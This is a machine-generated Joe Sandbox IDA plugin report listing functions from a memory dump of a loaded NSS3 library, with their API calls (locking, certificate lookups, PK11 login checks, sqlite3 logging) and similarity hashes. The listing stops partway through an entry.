Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 22e75d55c8fd6784c8fc4ad7771bd5e07285801f68345d77a22b58e01097bde1
Instruction ID: 9deca712f5d42bd0050571beb450ee330766cda4d259174ed98e84962ed7e8a9
Opcode Fuzzy Hash: 22e75d55c8fd6784c8fc4ad7771bd5e07285801f68345d77a22b58e01097bde1
Instruction Fuzzy Hash: E761D6B1E052098FDB04CFA6D8107EFBBB6AF45308F184166E515BB751E7359C15CB60

Function 6D028F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6D027313), ref: 6D028FBB

Part of subcall function 6D0207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFC8298,?,?,?,6CFBFCE5,?), ref: 6D0207BF
Part of subcall function 6D0207B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0207E6
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D02081B
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D020825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6D027313), ref: 6D029012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6D027313), ref: 6D02903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6D027313), ref: 6D02909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6D027313), ref: 6D0290DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6D027313), ref: 6D0290F1

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6D027313), ref: 6D02906B

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6D027313), ref: 6D029128

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 5ee7d1753f1917f75aae59fc90bdb722978766ca6c69b9752ff122a2db293ea4
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 58517E75A452168FFB10DF6AEC85B2AB3F9BF48354F064069E915D7361EB31E800CBA1

Function 6CFD9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CFD8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CFE0715), ref: 6CFD8859
Part of subcall function 6CFD8850: PR_NewLock.NSS3 ref: 6CFD8874
Part of subcall function 6CFD8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CFD888D

PR_NewLock.NSS3 ref: 6CFD9CAD

Part of subcall function 6D0898D0: calloc.MOZGLUE(00000001,00000084,6CFB0936,00000001,?,6CFB102C), ref: 6D0898E5

Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07AD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07CD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07D6
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF4204A), ref: 6CFB07E4
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,6CF4204A), ref: 6CFB0864
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFB0880
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF4204A), ref: 6CFB08CB
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08D7
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08FB

TlsGetValue.KERNEL32 ref: 6CFD9CE8
EnterCriticalSection.KERNEL32(?,?,6CFDECEC,6CFE2FCD,00000000,?,6CFE2FCD,?), ref: 6CFD9D01
TlsGetValue.KERNEL32(?,?,?,6CFDECEC,6CFE2FCD,00000000,?,6CFE2FCD,?), ref: 6CFD9D38
EnterCriticalSection.KERNEL32(?,?,6CFDECEC,6CFE2FCD,00000000,?,6CFE2FCD,?), ref: 6CFD9D4D
PR_Unlock.NSS3 ref: 6CFD9D70
PR_Unlock.NSS3 ref: 6CFD9DC3
PR_NewLock.NSS3 ref: 6CFD9DDD

Part of subcall function 6CFD88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CFE0725,00000000,00000058), ref: 6CFD8906
Part of subcall function 6CFD88D0: EnterCriticalSection.KERNEL32(?), ref: 6CFD891A
Part of subcall function 6CFD88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CFD894A
Part of subcall function 6CFD88D0: calloc.MOZGLUE(00000001,6CFE072D,00000000,00000000,00000000,?,6CFE0725,00000000,00000058), ref: 6CFD8959
Part of subcall function 6CFD88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CFD8993
Part of subcall function 6CFD88D0: PR_Unlock.NSS3(?), ref: 6CFD89AF

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: c9dfae6da86760c6af361e9047a35077418bc221e5a84cee43df7f3a61bf70c8
Instruction ID: 1560600aa1f8fd6a7b979ac7bc46be319116abda48949ca6bb1b41fa5bdc891b
Opcode Fuzzy Hash: c9dfae6da86760c6af361e9047a35077418bc221e5a84cee43df7f3a61bf70c8
Instruction Fuzzy Hash: 75515EB5A047059FDB00EFA8C19476ABBF1BF44348F1A8529D8989B710EF70F984CB91

Function 6D0D9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6D0D9EC0
EnterCriticalSection.KERNEL32(?), ref: 6D0D9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6D0D9F73
EnterCriticalSection.KERNEL32(?), ref: 6D0D9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6D0D9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6D0D9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6D0DA01D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 7c44950a573ab77df35731151760e7b994f627c1e9dc6826994f8c33bbfd003e
Instruction ID: 2e01df66a6232736ee041e64bcbb0a909f2f014d974e4f0a907ad5c390e26587
Opcode Fuzzy Hash: 7c44950a573ab77df35731151760e7b994f627c1e9dc6826994f8c33bbfd003e
Instruction Fuzzy Hash: 5551A2B2804702DFEB509F25E88475AB7F0FF04319F26856AD85A57352E731E881CB91

Function 6CFE4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFE4E90
EnterCriticalSection.KERNEL32 ref: 6CFE4EA9
TlsGetValue.KERNEL32 ref: 6CFE4EC6
EnterCriticalSection.KERNEL32 ref: 6CFE4EDF
PL_HashTableLookup.NSS3 ref: 6CFE4EF8
PR_Unlock.NSS3 ref: 6CFE4F05
PR_Now.NSS3 ref: 6CFE4F13
PR_Unlock.NSS3 ref: 6CFE4F3A

Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07AD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07CD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07D6
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF4204A), ref: 6CFB07E4
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,6CF4204A), ref: 6CFB0864
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFB0880
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF4204A), ref: 6CFB08CB
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08D7
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08FB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: d60e49887232aff76689718a276f4abe370389766cbd84606d0122df919366a8
Instruction ID: 95f9b3d6a585b3beb83638f2a706b89eacc9b36af6e85bc3bfae7d91dcd8aad6
Opcode Fuzzy Hash: d60e49887232aff76689718a276f4abe370389766cbd84606d0122df919366a8
Instruction Fuzzy Hash: 7A4157B4904605DFCB00EF69D5849AAFBF0FF49344B118569EC599B310EB30E891CFA1

Function 6CFCDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CFCDCFA

Part of subcall function 6D089DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0D0A27), ref: 6D089DC6
Part of subcall function 6D089DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0D0A27), ref: 6D089DD1
Part of subcall function 6D089DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D089DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CFCDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CFCDD62
CERT_DestroyCertificate.NSS3(?), ref: 6CFCDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFCDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CFCDD8F

Part of subcall function 6CFE06A0: TlsGetValue.KERNEL32 ref: 6CFE06C2
Part of subcall function 6CFE06A0: EnterCriticalSection.KERNEL32(?), ref: 6CFE06D6
Part of subcall function 6CFE06A0: PR_Unlock.NSS3 ref: 6CFE06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CFCDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CFCDDB7

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 018298c360157366a9cff29e66c9c09f5f2bf1e3bcb56c96e2fda6bc042544ae
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: F2215EB6F412179BDF019E94DC40A9FB7B4AF05318B150424ED18A7711EB21E915CBE3

Function 6D055F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D05AADB,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055F72

Part of subcall function 6CFBED70: DeleteCriticalSection.KERNEL32(?), ref: 6CFBED8F
Part of subcall function 6CFBED70: DeleteCriticalSection.KERNEL32(?), ref: 6CFBED9E
Part of subcall function 6CFBED70: DeleteCriticalSection.KERNEL32(?), ref: 6CFBEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D05AADB,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6D05AADB,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055FCC
free.MOZGLUE(?,?,6D05AADB,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6D05AADB,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055FF4
free.MOZGLUE(?,?,6D05AADB,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D05AADB,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D056019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D05AADB,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D056036

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 65f02ee6103294e415d9569efa678f2719dc0079d57483f517dea02db8dfed94
Instruction ID: e4270989b45bb104c8cdea4041edef4cb90008b90a186f66c644db4f004190cd
Opcode Fuzzy Hash: 65f02ee6103294e415d9569efa678f2719dc0079d57483f517dea02db8dfed94
Instruction Fuzzy Hash: 3F212EB5504B019BEB119F75ED09BE7B7E8AF45708F040928E86E97640EB76E028CB91

Function 6CFC3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6D03460B,?,?), ref: 6CFC3CA9
EnterCriticalSection.KERNEL32(?), ref: 6CFC3CB9
PL_HashTableLookup.NSS3(?), ref: 6CFC3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CFC3CD6
PR_Unlock.NSS3 ref: 6CFC3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CFC3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFC3D03
PR_Unlock.NSS3 ref: 6CFC3D15

Part of subcall function 6D06DD70: TlsGetValue.KERNEL32 ref: 6D06DD8C
Part of subcall function 6D06DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: aab44d40189c611fb165021613968137ac953653ffd998559d872ce421d7bac0
Instruction ID: 0c71e4c7433a918a1f989c26c542071b8d1cbdb143bd25843e0075e5a1db2ace
Opcode Fuzzy Hash: aab44d40189c611fb165021613968137ac953653ffd998559d872ce421d7bac0
Instruction Fuzzy Hash: 4F112CB6E04106B7EB011B65FC01BEB7A7DEB4229CB254130ED1893211FB63D85886E2

Function 6CFC9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFE11C0: PR_NewLock.NSS3 ref: 6CFE1216

free.MOZGLUE(?), ref: 6CFC9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFC9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFC9E4E
TlsGetValue.KERNEL32 ref: 6CFC9EA2

Part of subcall function 6CFD9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CFD9546

EnterCriticalSection.KERNEL32(?), ref: 6CFC9EB6
PR_Unlock.NSS3 ref: 6CFC9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CFC9F18

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 54d489e2cda23a57757e26ae0c362d796de48a4452b5db0ceeb6504e1ae3dc04
Instruction ID: 0dbf94c2ff3e274fda26c75f950c17f815f2641481d6ce0efc212bb4d8229f9d
Opcode Fuzzy Hash: 54d489e2cda23a57757e26ae0c362d796de48a4452b5db0ceeb6504e1ae3dc04
Instruction Fuzzy Hash: 1E81E8B6B00602ABE7109F34DC41BABB7A9BF5534CF194528E85587B01FF31EA54C7A2

Function 6CFDDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFDAB10: DeleteCriticalSection.KERNEL32(D958E852,6CFE1397,5B5F5EC0,?,?,6CFDB1EE,2404110F,?,?), ref: 6CFDAB3C
Part of subcall function 6CFDAB10: free.MOZGLUE(D958E836,?,6CFDB1EE,2404110F,?,?), ref: 6CFDAB49
Part of subcall function 6CFDAB10: DeleteCriticalSection.KERNEL32(5D5E6D1D), ref: 6CFDAB5C
Part of subcall function 6CFDAB10: free.MOZGLUE(5D5E6D11), ref: 6CFDAB63
Part of subcall function 6CFDAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CFDAB6F
Part of subcall function 6CFDAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CFDAB76

TlsGetValue.KERNEL32 ref: 6CFDDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CFDDD0E
PK11_IsFriendly.NSS3(?), ref: 6CFDDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CFDDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFDDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFDDEA6
PR_Unlock.NSS3(?), ref: 6CFDDF08

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 293cb593b675bb7ec0fa21609bda03dd441d283472bf8d2092593a6e96d7f9ad
Instruction ID: d2f39338b76b9579276c54e93ca9462506c4e238deafb60867183ab5b4e2ca4f
Opcode Fuzzy Hash: 293cb593b675bb7ec0fa21609bda03dd441d283472bf8d2092593a6e96d7f9ad
Instruction Fuzzy Hash: 4991A4B5A002059FEB00CF68D881BABB7B5AF54308F1A4029DD199B751E731F955CFA2

Function 6CF95FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6D07BB62,00000004,6D0E4CA4,?,?,00000000,?,?,6CF531DB), ref: 6CF960AB
sqlite3_config.NSS3(00000004,6D0E4CA4,6D07BB62,00000004,6D0E4CA4,?,?,00000000,?,?,6CF531DB), ref: 6CF960EB
sqlite3_config.NSS3(00000012,6D0E4CC4,?,?,6D07BB62,00000004,6D0E4CA4,?,?,00000000,?,?,6CF531DB), ref: 6CF96122

Strings

%s at line %d of [%.10s], xrefs: 6CF960A4
misuse, xrefs: 6CF9609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF96095

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: c12e50e66b256e028337a6f753220ecf9a1460626b376235087c5cc63eafee68
Instruction ID: b3fc67d6b05874c0e2703b91aa92a6af509f650008e1ea9d1301d0c60ac29115
Opcode Fuzzy Hash: c12e50e66b256e028337a6f753220ecf9a1460626b376235087c5cc63eafee68
Instruction Fuzzy Hash: 58B17074E0464BCFDB04CF98DA81AA9B7F0FB1E304B018159E519AB762E770AB84CB55

Function 6CF44F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF44FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF451BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF451A5
%s at line %d of [%.10s], xrefs: 6CF451B4
misuse, xrefs: 6CF451AF
unable to delete/modify user-function due to active statements, xrefs: 6CF451DF

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
